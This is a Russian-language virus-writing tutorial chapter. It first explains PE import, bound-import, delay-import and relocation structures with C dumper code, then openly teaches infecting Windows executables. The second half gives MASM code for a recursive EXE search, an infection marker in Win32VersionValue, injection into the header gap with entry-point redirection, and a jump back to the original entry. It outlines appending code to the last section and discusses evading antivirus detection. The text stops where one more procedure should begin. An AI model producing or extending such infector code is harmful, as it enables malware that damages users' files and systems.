В таблице импорта вначале идет массив из элементов типа IMAGE_IMPORT_DESCRIPTOR. Каждый элемент соответствует одной DLLиз которой импортируются функции. Самыми главными частями IMAGE_IMPORT_DESCRIPTORявляются имя DLLи два массива элементов типа IMAGE_THUNK_DATA32. В принципе они эквивалентны и идут параллельно. Но есть определенная логическая нагрузка на один и второй массивы. Конец массива IMAGE_THUNK_DATA32 определяется нулевым DWORD’ом. Первый массив – OriginalFirstThunk, остается неизменным при загрузке. Второй массив - FirstThunk правиться при запуске программы, загрузчиком. Вот он содержит адреса всех импортируемых функций. Вообще поле OriginalFirstThunk может быть любым и не используется загрузчиком. Для системных DLLмассив OriginalFirstThunk сразу содержит адреса импортируемых функций. Т.е. для таких DLL, массив OriginalFirstThunk содержит не элемент IMAGE_THUNK_DATA32, а уже адрес для импортируемой функции данным модулем. Второй массив содержит, если функция импортируется по имени, RVAна структуру IMAGE_IMPORT_BY_NAME. Эта структура, содержит имя нужной функции. Сначала загрузчик просматривает массив IMAGE_IMPORT_DESCRIPTOR и проецирует в адресное пространство текущего процесса нужные модули, содержащие импортируемые функции. Далее загрузчик просматривает массив из IMAGE_THUNK_DATA32 и вызывает для каждого имени GetProcAddress. После вызова GetProcAddressвозвращает адрес точки входа в функцию. Этот адрес записывается на место, где был RVAIMAGE_IMPORT_BY_NAME. Точно также происходит импорт по ординалу, только GetProcAddressпередается не указатель на имя функции, а ординал. Если импортируется переданная функция, то в DWORD’е массива FirstThunkсодержиться указатель на строку форвардной функции. Все эти действия ведутся с массивом имен FirstThunk. Массив OriginalFirstThunkостается прежним. Линкеры фирмы Borlandделают массив OriginalFirstThunkнулевым, что можно считать ошибкой, но мы должны с ней считаться.
Пример работы с таблицей импорта
Посмотрите код, который выводит на экран всю таблицу импорта. Вы должны спроецировать PE-файл с помощью CreateFile->CreateFileMapping->MapViewOfFile. В hMap передайте значение возвращенное MapViewOfFile.
Код (Text):
void printImportTable(long hMap) { PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap); PIMAGE_IMPORT_DESCRIPTOR Import=(PIMAGE_IMPORT_DESCRIPTOR) (RVAtoOffset((long)hMap, pPE-»OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]. VirtualAddress)+(long)hMap); IMAGE_THUNK_DATA32* Thunk; PIMAGE_IMPORT_BY_NAME ImportName; int x=0; while (Import-»Characteristics!=0) { x++; printf("--------Library: %s-----------\n TimeDateStamp: %X\n ForwardedChain:%X\n OriginalFirstThunk:%X\n FirstThunk: %X\n",RVAtoOffset((long)hMap,Import-»Name)+(long)hMap, Import-»TimeDateStamp,Import-»ForwarderChain, Import-»OriginalFirstThunk,Import-»FirstThunk); Thunk=(IMAGE_THUNK_DATA32*)(RVAtoOffset((long)hMap, Import-»OriginalFirstThunk)+(long)hMap); while (Thunk-»u1.Ordinal!=0) { if ( ( (Thunk-»u1.Ordinal) & 0x80000000)!=0) { printf("Ordinal: %X\n", (long)(IMAGE_THUNK_DATA32*)Thunk-»u1.Ordinal); } else { ImportName=(PIMAGE_IMPORT_BY_NAME)(RVAtoOffset((long)hMap, (long)(Thunk-»u1.AddressOfData))+(long)(hMap)); printf("NameOfFunction:%s\n",&(ImportName-»Name)); } Thunk++; } Import++; } }Биндинг
Компанией Microsoft была создана утилита, которая называется BIND. Ей на вход подается PE-файл, а она записывает в массив OriginalFirstThunk, таблицы импорта данного файла, адреса функций которые данный PE-файл использует. Такая операция называется биндингом (binding) и служит в целях оптимизации процесса загрузки исполняемого файла. Естьдвавидабиндинга – OLD STYLE BINDING иNEW STYLE BINDING.
ВначалеобOLD STYLE BINDING. Адреса функций таблицы импорта уже известны до загрузки программы. Загрузчик файла смотрит на поле TimeDateStamp структуры IMAGE_IMPORT_DESCRIPTOR. Если это поле равно полю TimeDateStampтой DLL, из которой импортируются функции, то адреса импортированных функций не изменяются и загрузчик ничего не делает, т.к. правильные адреса уже находятся в модуле. Если поля TimeDateStamp в DLLи в таблице импорта не равны, то загрузчик патчит адреса импортированных функций с помощью стандартного механизма. Поле TimeDateStampтребуемой DLLможет иметь значение 0, что происходит, если для данной функции не было биндинга. В этом случае загрузчик пропатчит все адреса импортируемых функций, для которых поле TimeDateStampравно нулю. Если DLLбыла загружена не по своему предпочтительному адресу, то также происходит патч соответствующих адресов функций.
Если DLLэкспортирует функцию, код которой находиться в другой DLL, т.е. при передаче экспорта, то используется поле ForwarderChainструктуры IMAGE_IMPORT_DESCRIPTOR. Поле ForwarderChainсодержит индекс в массиве FirstThunk первого импортируемого форварда. Если переданная функция – последняя, то это значение элемента соответствующего данному индексу равно -1. Если это не последний форвард в цепочке, то элемент содержит следующий индекс в этом же массиве. Т.о. происходит проход по цепочке переданных функций и заполнение адресами соответствующих двойных слов массива FirstThunk. Т.к. у нас есть параллельный массив - OriginalFirstThunk, то мы используем информацию из него об именах форвардных функций. Обратите внимание, то массив OriginalFirstThunkобязан быть не нулевым, чтобы использовать биндинг форвардных функций. Если утилите BIND передается PE-файл в котором нулевой массив OriginalFirstThunk, то она отказывается обрабатывать такой файл.
Теперь о NEW STYLE BINDING. Перед загрузкой файла в массиве элементов типа IMAGE_THUNK_DATA уже также содержатся адреса импортируемых функций. Изменится механизм импорта переданных функций. При NEWSTYLEBINDING поля TimeDateStampи ForwarderChain для DLL, из которых происходит экспорт форвардов, равны -1. Загрузчик ориентируется на эти значения -1, и использует директорию bound-импорта, где содержится информация о форвардных функциях.
Bound-импорт
Bound-импорт называют также - привязанный импорт. В массиве DataDirectoryэлемент с индексом 11 соответствует директории отложенного импорта. Отложенный импорт используется при NEWSTYLEBINDING. Используя bound-импорт можно также оптимизировать процесс загрузки, т.к. есть возможность не пропатчивать, даже адреса, переданных функций. С этой директорией связан массив структур IMAGE_BOUND_IMPORT_DESCRIPTOR, каждая из которых определена следующим образом:
Код (Text):
typedef struct _IMAGE_BOUND_IMPORT_DESCRIPTOR { DWORD TimeDateStamp; WORD OffsetModuleName; WORD NumberOfModuleForwarderRefs; // Array of zero or more IMAGE_BOUND_FORWARDER_REF follows } IMAGE_BOUND_IMPORT_DESCRIPTOR, *PIMAGE_BOUND_IMPORT_DESCRIPTOR;DWORD TimeDateStamp;
Временная метка. Она нужна для того, чтобы узнать не изменилась версия DLL, к которой привязаны адреса. Если это значение совпадает со значением временного штампа у библиотеки все отлично, т.е. не надо патчить переданные функции, иначе будет использоваться стандартный механизм импорта. Нулевое значение времени соответствует любому времени.
WORD OffsetModuleName;
Смещение имени DLL, начиная от начала данной директории. Именно смещение, а не RVA!
WORD NumberOfModuleForwarderRefs;
Счетчик – указатель количества структур типа IMAGE_BOUND_FORWARDER_REF, которые следуют после данной структуры. Строение их такое, как и у IMAGE_BOUND_IMPORT_DESCRIPTOR, только поле NumberOfModuleForwarderRefs зарезервировано.
Пример работы с Bound-импортом
Код (Text):
void printBoundImport(long hMap) { PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap); PIMAGE_BOUND_IMPORT_DESCRIPTOR Bound=(PIMAGE_BOUND_IMPORT_DESCRIPTOR) (RVAtoOffset((long)hMap, pPE-»OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT]. VirtualAddress)+(long)hMap); printf("DLL Name:%s TimeDateStamp:%X",(long)Bound+(long) (Bound-»OffsetModuleName),Bound-»TimeDateStamp); for (int i=0;i«Bound-»NumberOfModuleForwarderRefs;i++) { Bound++; printf("DLL Name:%s TimeDateStamp:%X\n", (long)Bound+(long)(Bound-»OffsetModuleName), Bound-»TimeDateStamp); } }Delay-импорт
Delay-импорт, называется также, - отложенный импорт. Delay-импорт – это промежуточный подход между неявным импортом и явным импортом с помощью LoadLibrary/GetProcAddress. Механизм отложенного импорта – это не свойство операционной системы, это дополнительный код в Вашей программе, с помощью которого оптимизируется импорт API-функций. Этот дополнительный код называется – DelayHelper. Если Ваша программа запускает впервые API-функцию, то код Delay-импорта вызывает LoadLibraryи GetProcAddress. Адрес впервые вызванной функции будет сохранен в таблице импортированных функций отложенного импорта. На данные имеющие отношение к отложенному импорту указывает запись номер IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT в таблице директорий. RVAв DataDirectoryуказывает на массив структур ImgDelayDescr. Эта структура определена в заголовочном файле DELAYIMP.H. Вот ее вид:
Код (Text):
typedef struct ImgDelayDescr { DWORD grAttrs; // attributes LPCSTR szName; // pointer to dll name HMODULE * phmod; // address of module handle PImgThunkData pIAT; // address of the IAT PCImgThunkData pINT; // address of the INT PCImgThunkData pBoundIAT; // address of the optional bound IAT PCImgThunkData pUnloadIAT; // address of optional copy of original IAT DWORD dwTimeStamp; // 0 if not bound, // O.W. date/time stamp of DLL bound to (Old BIND) } ImgDelayDescr, * PImgDelayDescr;Каждая структура соответствует одной DLLимпортированной с помощью отложенного импорта. В данном массиве присутствует указатель на массив IAT, идентичный массиву, используемому в стандартном механизме импорта, а также массив таблицы импортируемых имен INT (ImportNameTable). В IAT помещаются адреса при первом вызове соответствующей функции. Рассмотрим все поле структуры по порядку:
DWORD grAttrs;
Это поле указывает на тип адресации, применяющийся в структурах Delay-импорта. Если это поле равно 1, то адреса – RVA, если – 0, то VA.
LPCSTR szName;
Указатель RVA/VAна ASCIIZ-строку с именем загружаемой DLL.
HMODULE * phmod
В файле это поле может быть любым. Но при загрузке, лоадер помещает в него описатель DLL.
PImgThunkData pIAT;
RVA/VA-указатель на таблицу импортированных адресов (IAT). Если это значение равно нулю, то это последний элемент массива.
PCImgThunkData pINT;
RVA/VA-указатель на таблицу имен функций (INT). Если это значение равно нулю, то это последний элемент массива.
PCImgThunkData pBoundIAT;
RVA/VA-указатель на таблицу адресов функций Bound-импорта.
PCImgThunkData pUnloadIAT;
Когда DLLвыгружается из памяти, то она имеет возможность восстановить таблицу адресов отложенного импорта в исходное состояние, обратившись к ее оригинальной копии. Указатель на оригинальную копию находиться в данном поле. Это аналог массива OriginalFirstThunk.
DWORD dwTimeStamp;
Временная метка. Возможно не проходить по всем функциям для данной библиотеки. Если временная метка не пуста и таблица Bound-импорта не пуста, то загрузчик не будет заполнять IAT, а воспользуется таблицей bound-IAT. В данном случае здесь таблица bound-импорта отдельная и она используется в поддержку delay-импорта.
Пример работы с Delay-импортом
Представляю Вашему вниманию, пример процедуры – дампера таблицы отложенного импорта:
Код (Text):
void printDelayImport(long hMap) { PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap); PImgDelayDescr Delay=(PImgDelayDescr)(RVAtoOffset((long)hMap, pPE-»OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT]. VirtualAddress)+(long)hMap); while (Delay-»pIAT!=0) { if (Delay-»grAttrs==1) { printf("-------%s-------\n", RVAtoOffset((long)hMap,(long)(Delay-»szName))+(long)hMap); printf("Attrib: %X\nTimeDateStamp: %X\nImport Address Table: %X\nImport Name Table: %X\nBound IAT: %X\nUnload IAT:%X\n", Delay-»grAttrs,Delay-»dwTimeStamp,Delay-»pIAT,Delay-»pINT, Delay-»pBoundIAT,Delay-»pUnloadIAT); } else { printf("-------%s-------\n",RVAtoOffset((long)hMap, (long)(Delay-»szName-pPE-»OptionalHeader.ImageBase))+(long)hMap); printf("Attrib: %X\nTimeDateStamp: %X\nImport Address Table: %X\nImport Name Table: %X\nBound IAT: %X\nUnload IAT:%X\n", Delay-»grAttrs,Delay-»dwTimeStamp,Delay-»pIAT,Delay-»pINT, Delay-»pBoundIAT,Delay-»pUnloadIAT); } Delay++; } }Особенности импорта на конкретных реализациях загрузчиков
В разных ОС импорт может быть реализован по-разному. Механизмов – целых 3! И загрузчик вправе выбирать, какой из них, и в каком порядке, в случае провала, будет использован. Загрузчик, например, может сразу просмотреть цепочку директорий и сразу перейти к bound-импорту. Если он валиден, то использовать его для импорта. Если он не корректный, то перейти к стандартному механизму импорта. Т.о., в зависимости от ОС, загрузчик в праве выбирать какой механизм импорта ему использовать. В любом случае Вы можете узнать, как происходит импорт, исследуя поведение загрузчика с помощью дизассемблирования. Но если мы хотим сделать переносимый вирус, то на эти особенности полагаться ни в коем случае нельзя.
Базовые поправки
Если PE-файл не загружается по ImageBase, то применяются базовые поправки. Для данной секции применим особый термин – дельта. Дельта - это разница по модулю между базовым адресом для PE-файла и значением ImageBaseв опциональном заголовке. Если файл загрузился по базовому адресу, то базовые поправки не нужны. Чаще EXEфайл грузится по своему базовому адресу, но DLLобычно – нет. Базовые поправки – это набор смещений, по которым нужно прибавить дельту. Для базовых поправок часто выделяется отдельная секция .reloc, но они также могут не иметь отдельной секции, а быть частью какой-либо секции. Поправки упаковываются сериями смежных кусков различной длины. Каждый кусок описывает поправки для одной четырехкилобайтовой страницы. Секция базовых поправок начинается с массива структур IMAGE_BASE_RELOCATION, которая выглядит следующим образом:
Код (Text):
typedef struct _IMAGE_BASE_RELOCATION { DWORD VirtualAddress; DWORD SizeOfBlock; // WORD TypeOffset[1]; } IMAGE_BASE_RELOCATION; typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;DWORD VirtualAddress;
НачальныйRVA дляданногокускапоправок. Смещение каждой поправки, которая следует дальше, добавляется к данной величине для получения RVA, для которого должна быть применена поправка.
DWORD SizeOfBlock;
Размер данной поправки + все последующие поправки типа WORD. Можно определить количество поправок в данном блоке с помощью формулы
(6) X = (SizeOfBlock – sizeof(IMAGE_BASE_RELOCATION))/2
WORD TypeOffset
Это не одно слово, а массив слов, количество элементов в котором вычисляется с помощью формулы (6). 12 младших разрядов каждого из этих слов представляют поправочное смещение, которое должно быть прибавлено к значению из поля VirtualAddressиз данного блока поправок. 4 старших разряда – тип поправки. Для процессоров Intelдля типа поправки есть единственное возможное значение – IMAGE_REL_BASED_HIGHLOW. При данном значении к двойному слову по вычисленному адресу смещения прибавляется дельта.
Пример работы с базовыми поправками
Процедура предполагает, что все поправки типа IMAGE_REL_BASED_HIGHLOW.
Код (Text):
void printRelocTable(long hMap) { PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap); PIMAGE_BASE_RELOCATION Reloc=(PIMAGE_BASE_RELOCATION) (RVAtoOffset((long)hMap, pPE-»OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]. VirtualAddress)+(long)hMap); while (Reloc-»VirtualAddress!=0) { int number=(Reloc-»SizeOfBlock-8)/2; WORD* Rel=(WORD *)((long)Reloc+8); printf("Virtual Address: %X\nNumber of Relocation:Relocation\n", Reloc-»VirtualAddress); for (int i=0;i«number-1;i++) { printf("%d:%X\n",i,(0x0FFF)&(Rel[i])); } Reloc=(PIMAGE_BASE_RELOCATION)((long)Reloc-»SizeOfBlock+(long)Reloc); } }Программа PE Inside Console Version
В рамках данной главы я также выкладываю пример работы с PE-файлами консольной программы PE Inside. Просто посмотрите, как это работает и все. Все построено на функциях и макросах и не должно вызвать у Вас проблем. Скачайте исходный код здесь (cсылка на файл PEInsideConsole.rar).
Программа PEInsidev0.5alfa
Данная программа демонстрирует работу с PE-файлами. Она была сделана в рамках написания данной главы и имеет открытый исходный код, который Вы можете использовать в своих целях. При первом запуске программа добавляет себя в контекстное меню для PE-файлов, чтобы быстро просмотреть или отредактировать поля PE-файла. Скачать программу можно здесь (ссылка на файл PEInsideBin.rar). Скачать исходный код проекта VisualC++ можно здесь (ссылка на файл PEInsideSrc.rar). Это только версия 0.5alfa и она мало чего умеет, но далее ее возможности будут расширяться.
PE64
PE64 – это расширение PE32 на случай 64-разрядной платформы. Не бойтесь, изменения между этими форматами минимальны, т.к. все что изменяется - это адреса в памяти. Поэтому все 32-разрядные поля превращаюся в 64-разрядные. В Си для адресации используется тип __int64. Но не забывайте, что в 32-х разрядных процессорах все регистры 32-разрядные по определению. Так что для работы с таким типом используются два регистра. Сами структуры в PE-файле остались прежними. Естественно изменились смещения. Все что Вам понадобиться для работы с этим форматом, так это спецификация Microsoft. А в теории Вы можете опираться на имеющиеся здесь выкладки.
Домашнее задание
Здесь я предлагаю оторваться от чтения и попробовать все прочтенное самому. Единственным способом понять все тонкости PE-формата - это трогать ручками все структуры. Попробуйте написать дамперы соответствующих структур. Откройте hex-редактор и найдите все структуры, попробуйте изменить чего-нибудь etc. Я собрал все нужные структуры в один файл и выкладываю здесь (ссылка на файл pestruct.doc). Распечатайте этот документ и повесьте у себя рядом с кроватью. Это приблизит Вас к истинному пониманию структуры PE-файлов. Очень желательно знать все смещения соответствующих структур наизусть, дабы не отстать от Мыша ;)
Способы внедрения внутрь исполняемого файла
Вот мы и добрались до самого главного, т.е. к чему стремились. Все смещения структур PE-файла мы знаем наизусть, знаем как загрузчик работаем с PE-файлами, значит можно заражать файлы. Школьники ходят в школу, учатся, кушают в столовой. Студенты с папочками и с очочками занимаются, а мы пишем вирусы, а все остальное mustdie. Здесь будут рассмотрены более или менее стандартные способы и наиболее простые.
Мы отвлеклись. Вот стандартные действия Windows-вируса:
1) Поиск файлов для заражения.
2) Проверка, не заражен ли уже файл.
3) Если нет, то заражаем.
Исходя из этих действий выдвигается новая тема. Итак…
Поиск файлов
Когда наш детеныш запускается, то он начинает поиск файлов и соответственно заражение. Обычно вирусы не заражают сразу все файлы, чтобы быть не замеченными. Сейчас мы напишем процедуру, которая ищет файлы. Если находиться директория, то для этого директории рекурсивно вызывается эта же процедура. Рекурсия – это очень интересная вещь в программировании. Мы еще будем обращаться к этому понятию. Т.к. мы программируем в 3 кольце защиты, то в этом кольце для поиска файлов используются три API-функции: FindFirstFile, FindNextFile, FindClose – соответственно начало поиска, продолжение поиска и завершение поиска. Эта процедура похожа на «Танго мастдайное». Кому надо тот понял. Процедура требует два параметра. Процедура универсальна, сохраняет все регистры. В этом примере я не стал ее оптимизировать. Все что нужно об оптимизации Вы узнаете в соответствующей главе. Но процедура не до конца доделана. Точнее говоря, файлы она ищет все, но ничего не делает с ними. Вы должны добавить всего лишь, что делать с найденными файлами. Что получить имя найденного файла используйте член структуры WIN32_FIND_DATA – cFileName. Чтобы получить путь для этого файла используйте локальную переменную Path. Она следующего вида: <Путь к файлу>F3,F3,F3,0. Где F3 и 0 – это байты. Чтобы получить нормальный путь к файлу надо убрать 3 F3 байта и слить эту строку со строкой содержащей имя файла. В примере немного позже Вы увидите, как это делается. Я добавляю эти лишние байты, для того, чтобы для следующих папок в данной, путь формировался правильно. Эти байты играют роль маски в конце, которая потом удаляется.
Код (Text):
;################################################################# ;Процедура FindEXE рекурсивного поиска файлов ;Вход: Dir - адрес ASCIIZ-строки с именем директории где производить поиск ; Mask2 -адрес ASCIIZ-строки "*.*",0 ;################################################################# FindEXE proc Dir:DWORD, Mask2:DWORD LOCAL Find:WIN32_FIND_DATA LOCAL hFile:DWORD LOCAL Path[1000]:BYTE pushad ;#############################Обработка переданного пути############################## invoke lstrlen,Dir;вычисляем длину переданного пути mov esi,Dir lea edi,Path mov ecx,eax rep movsb;получаем в Path - путь для поиска lea edi,Path add edi,eax mov esi,Mask2 mov ecx,5 rep movsb;Path=Path+Mask+\0 ;#############################Обработка переданного пути############################## lea ebx,Find lea edi,Path invoke FindFirstFile,edi,ebx;начало поиска .IF eax!=INVALID_HANDLE_VALUE;если начало поиска удачно mov hFile,eax invoke FindNextFile,hFile,ADDR Find;продолжение поиска .WHILE eax!=0;если продолжение поиска удачно mov ebx,Find.dwFileAttributes and ebx,FILE_ATTRIBUTE_DIRECTORY lea ecx,Find.cFileName .IF (ebx==FILE_ATTRIBUTE_DIRECTORY) && (byte ptr [ecx]!='.') lea ebx,Path ;####################Удаляем '\*.*'######################################### push ebx push ebx call lstrlen pop ebx add ebx,eax sub ebx,3 mov edi,ebx mov eax,0 mov ecx,3 cld rep stosb;удаляем маску ;####################END Удаляем '\*.*'######################################### ;#######################Добавляем имя директории к строке###################### lea ebx,Path push ebx call lstrlen add ebx,eax mov edi,ebx push edi lea edx,Find.cFileName push edx call lstrlen mov ecx,eax inc ecx pop edi lea edx,Find.cFileName mov esi,edx cld rep movsb mov byte ptr [edi],0 ;#######################END Добавляем имя директории к строке################## lea ebx,Path push Mask2 push ebx call FindEXE;рекурсивный вызов std lea ebx,Path push ebx call lstrlen add ebx,eax mov edi,ebx mov ecx,10000 mov al,'\' repne scasb add edi,2 mov ecx,3 mov eax,0f3h cld rep stosb mov byte ptr [edi],0 .ELSE ;###############################Не EXE ли это######################################### lea ebx,Find.cFileName;не exe ли это? push ebx push ebx call lstrlen pop ebx add ebx,eax sub ebx,4 .IF (dword ptr [ebx]=='exe.')||(dword ptr [ebx]=='EXE.') ;EXE ФАЙЛ НАЙДЕН!!! .ENDIF ;###############################Не EXE ли это######################################### .ENDIF invoke FindNextFile,hFile,ADDR Find;продолжение поиска .ENDW .ENDIF popad ret FindEXE endp ;################################################################# ;Конец Процедуры FindEXE рекурсивного поиска файлов ;#################################################################Проверка PE-файла на правильность
Как проверить, что PE-файл является вилидным я рассказывал в главе 1. Просто, используйте процедуру ValidPE, передавая ей правильные параметры.
Способ 1. Внедрение в заголовок
У нас в распоряжении есть исполняемый файл, мы должны заразить его. Давайте рассмотрим первый способ. Как Вы уже знаете, в начале PE-файла идtn PE-заголовок. Между окончанием таблицы секции и первой секцией есть промежуток. Этот промежуток появляется из-за файлового выравнивания выравнивания (значение FileAlignment в файловом заголовке). Туда мы можем впихнуть исполняемый вредоносный код. Плохо, что места мало, значит либо наш вирус будет очень маленьким или очень оптимизированным, либо в это место мы внедрим только часть вируса. Хорошо то, что размер файла не изменяется. Запись в данную область возможна, если изменить атрибуты соответствующих страниц. Рассмотрим алгоритм внедрения кода, используя запись в заголовок:
- Найти конец таблицы секций
- Найти физическое смещение 1 секции
- Вычислить максимальный размер кода, который можно внедрить
- Проверить bound-импорты. Если они присутствуют, то уничтожить запись о них в таблице директорий.
- Записать код.
- В конец кода установить jmp нормальную AddressOfEntryPoint
- Изменить AddressOfEntryPoint
- Изменить SizeOfHeaders на физическое смещение последней секции
- Есть шаги, которые необходимо будет выполнять при любом способе заражения. Я опишу их в каждом разделе.
Получение важных частей отображения
При работе с PE-файлом мы будем постоянно обращаться к некоторым областям, важными для нас. Необходимо получить указатели на них, чтобы постоянно не вычислять эти значения. Нам будут нужны следующие значения: PE-заголовок, таблица секций, таблица директорий, файловый заголовок, опциональный заголовок. В этом примере кода, предполагается что в hMap находиться проекция EXE-файла-жертвы.
Код (Text):
.data? pPE dd ? pSectionTable dd ? pDataDirectory dd ? pFileHeader dd ? pOptionalHeader dd ? ……… ;#####################Получение адреса PE-заголовка############################### assume edi:ptr IMAGE_DOS_HEADER mov edi,hMap add edi,[edi].e_lfanew mov pPE,edi ;#####################END Получение адреса PE-заголовка########################### ;#####################Получение адреса файлового заголовка######################## add edi,4 mov pFileHeader,edi ;#####################END Получение адреса файлового заголовка#################### ;#####################Получение адреса опционального заголовка#################### add edi,sizeof IMAGE_FILE_HEADER mov pOptionalHeader,edi ;#####################END Получение адреса опционального заголовка################ ;#######################Получение адреса таблицы директорий####################### assume edi:ptr IMAGE_OPTIONAL_HEADER lea edi,[edi].DataDirectory mov pDataDirectory,edi ;#######################END Получение адреса таблицы директорий################### ;############################Получение адреса талицы секций####################### mov edi,pOptionalHeader mov eax,[edi].NumberOfRvaAndSizes mov edi,pDataDirectory mov edx,sizeof IMAGE_DATA_DIRECTORY mul edx add edi,eax mov pSectionTable,edi ;########################END Получение адреса таблицы секций######################Переход на старый AddressOfEntryPoint
Когда мы внедряем код, то мы изменяем точку входа на нашу. Чтобы управление вернулось программе необходимо прыгнуть на инструкции, с которых первоначально планировалось выполнение. Ниже приведен отрывок кода, который добавляет инструкции после внедренного кода для перехода на оригинальную точку входа. Предполагается, что в pOptionalHeader находиться указатель на опциональный заголовок. Так же предполагается, что в регистре EDI находиться место, куда мы хотим записать команды перехода. Проекция EXE файла создается не как SEC_IMAGE, а как обычная, потому что при SEC_IMAGE запись на диск не производиться :(, даже если мы изменяем атрибуты страниц с помощью VirtualProtect
Код (Text):
;#############################Переход на старую точку входа####################### mov esi,pOptionalHeader assume esi:ptr IMAGE_OPTIONAL_HEADER mov eax,[esi].AddressOfEntryPoint;В EAX - старая точка входа add eax,[esi].ImageBase mov byte ptr [edi],0BFh;BF - опкод команды mov edi,XXXXXXX inc edi push eax pop dword ptr [edi];Джампим к старой точке входа add edi,4 mov word ptr [edi],0E7FFh;FFE7 - опкод команды jmp edi ;#########################END Переход на старую точку входа#######################Код инфектора
Сначала мы получаем все важные части отображения. После проецирования файла проверяем корректен ли он. Если он корректен, то проверяем, не заражен ли он уже. Чтобы это проверить, надо знать некоторые отличительные особенности зараженности данного файла. При самом заражении в поле Win32VersionValue добавляются байты - 00BADF11Eh. Если в данном поле такие байты, то файл заражен. Посмотрите на пример:
Код (Text):
;##############################Не заражен ли уже файл?############################ mov edi,pOptionalHeader assume edi:PTR IMAGE_OPTIONAL_HEADER .IF [edi].Win32VersionValue==00BADF11Eh push MB_ICONERROR push offset TitleMes1 push offset Error2Str push 0 call MessageBox jmp Exit .ENDIF ;##########################END Не заражен ли уже файл?############################Для индикатора зараженности подойдет любое поле, которое не используется загрузчиком. Я описывал ранее, какие это поля. Если посмотреть внимательно на какой-нибудь PE-файл с Bound-импортом, то обычно Bound-импорт помещается как раз в это свободное пространство нужное нам. Bound-импорт – средство оптимизации загрузки. Но если его удалить, то файл будет все равно нормально загружаться.
Теперь надо найти начало свободного пространства в заголовке. Это пространство будет начинаться сразу после таблицы секций. Посмотрите на код и мои комментарии:
Код (Text):
;###############################Поиск конца таблицы секций+1###################### mov edi,pFileHeader assume edi:ptr IMAGE_FILE_HEADER xor eax,eax mov ax,[edi].NumberOfSections mov edx,sizeof IMAGE_SECTION_HEADER mul edx;теперь в eax - количество байт, которые занимают все секции mov edi,pSectionTable add edi,eax;теперь в edi - начало промежутка push edi;сохраняем начало промежутка ;############################END Поиск конца таблицы секций+1#####################Чтобы получить начало первой секции в файле надо пройтись по всем секциям и сохранить минимальное физическое смещение. Мы делаем это для того, что в таблице секций, первая запись не обязательно соответствует первой секции в файле. Иначе можно было бы взять информацию из первой записи в таблице секций. Чаще, в конечном итоге, так и получается. Вот исходный делающий эти операции:
Код (Text):
;########################Поиск физического смещения первой секции################# mov edi,pFileHeader assume edi:ptr IMAGE_FILE_HEADER xor ecx,ecx mov cx,[edi].NumberOfSections dec cx mov edi,pSectionTable assume edi:ptr IMAGE_SECTION_HEADER xor eax,eax mov eax,[edi].PointerToRawData;в eax - физическое смещение 1 секции в таблице секций add edi,sizeof IMAGE_SECTION_HEADER NextSection: .IF eax>[edi].PointerToRawData mov eax,[edi].PointerToRawData .ENDIF add edi,sizeof IMAGE_SECTION_HEADER loop NextSection ;#####################END Поиск физического смещения первой секции################После проекции, проверки EXE-файла и получения информации о промежутке в заголовке проецируем файл, откуда берутся данные, которые надо внедрять. Потом проверяем размер промежутка и размер файла. Если размер промежутка достаточен для кода, то можно внедрять. Код внедряем обычными цепочечными командами ассемблера:
Код (Text):
;######################################Запись##################################### mov ecx,eax;количество байт для записи mov edi,AddressOfCode mov esi,hMap2 rep movsb;запись! ;######################################Запись#####################################После данных из файла необходимо поставить переход на нормальную точку входа. Я делаю это следующими инструкциями:
mov EDI,<Старая_точка_входа+ImageBase>;BFXXXXXXXX
jmp edi;FFE7
Далее программа модифицирует точку входа. Параметр SizeOfHeaders очень важен для нас. Он должен быть равен физическому смещению последней секции. Иначе загрузчик не спроецирует код, а забьет пространство нулями.
В этом(ссылка на файл pe_infector1.asm) файле находиться код инфектора. К сожалению, этот способ внедрения отлавливают все антивирусы, просто проверяя, что точка входа указывает на заголовок. Можно, например, записать код в заголовок и потом использовать его. При этом обязательно, чтобы AddressOfEntryPoint не указывал на заголовок. Т.е. можно использовать это место для хранения т.н. загрузочной процедуры, которая передает управление на соответствующие инструкции.
Способ 2. Запись в конец последней секции
Этот способ более предпочтителен для внедрения потустороннего кода в PE-файл. Можно внедрять сколько угодно кода. Но, используя данный способ изменяется размер файла. Что в этом плохого догадайтесь сами. Способ заключается в простом добавлении кода в конец последней секции с изменением параметров для данной секции. Вот алгоритм внедрения, используя расширение последней секции:
1. Находим последнюю секцию виртуально и физически.
2. Проверка, не равен ли размер последней секции нулю.
3. Если нет, то записываем в конец секции код вируса.
4. Выравниваем новую секцию с учетом файлового выравнивания.
5. Правим виртуальный и физический размеры секций.
6. Правим точку входа.
7. Правимразмеробраза – ImageSize=VirtualSize+VirtualAddress
8. Правим - характеристики – на 0А0000020h
Ну как? По-моему ничего сложного. Надо просто знать, какие поля есть в PE-заголовке, и помнить о них. Здесь нам пригодиться и вычисление выравнивания секций. Как вы помните из главы 1, есть формула для вычисления, выровненного вверх или вниз, значения. Был также приведен код процедур для этих расчетов. Сейчас, я приведу код и Вам мигом все станет понятно.
Итоговый размер файла
Первая проблема, которая возникла – это каким делать размер файла. Ведь его нужно знать до заражения. Его нужно знать, чтобы соответствующим образом спроецировать файл и чтобы хватило места в проекции для внедряемого кода. Для нового размера файла используется такая формула:
Y=X+AlignUp(размер_кода+7,FileAlignment),где X – исходный размер файла, Y – новый размер файла, FileAlignment – файловое выравнивание для файла-жертвы. Для удобства я сделал процедуру для получения файлового выравнивания. Учтите что данная процедура не сохраняет регистры. Взгляните на эту процедуру:
Код (Text):
